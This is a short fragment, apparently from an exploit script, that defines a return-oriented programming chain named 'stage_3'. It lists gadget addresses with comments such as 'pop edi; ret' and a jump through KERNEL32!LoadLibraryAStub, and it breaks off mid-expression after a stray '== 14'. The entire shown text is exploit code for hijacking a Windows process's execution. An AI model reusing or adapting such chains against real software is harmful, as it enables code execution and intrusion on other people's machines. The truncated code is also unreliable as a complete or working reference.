== 14 stage_3 = [ 0x63117dfa, # pop edi; ret 0x63101514, # ret 0x63116cc9, # pop esi; ret 0x6313ba14, # jmp dword ptr [KERNEL32!LoadLibraryAStub] 0x631017ff, # pop ebp; ret 0x631213e6, # add esp, 0x20; ret 0x63137a3c, # pushal; ret 'KERN'.unpack('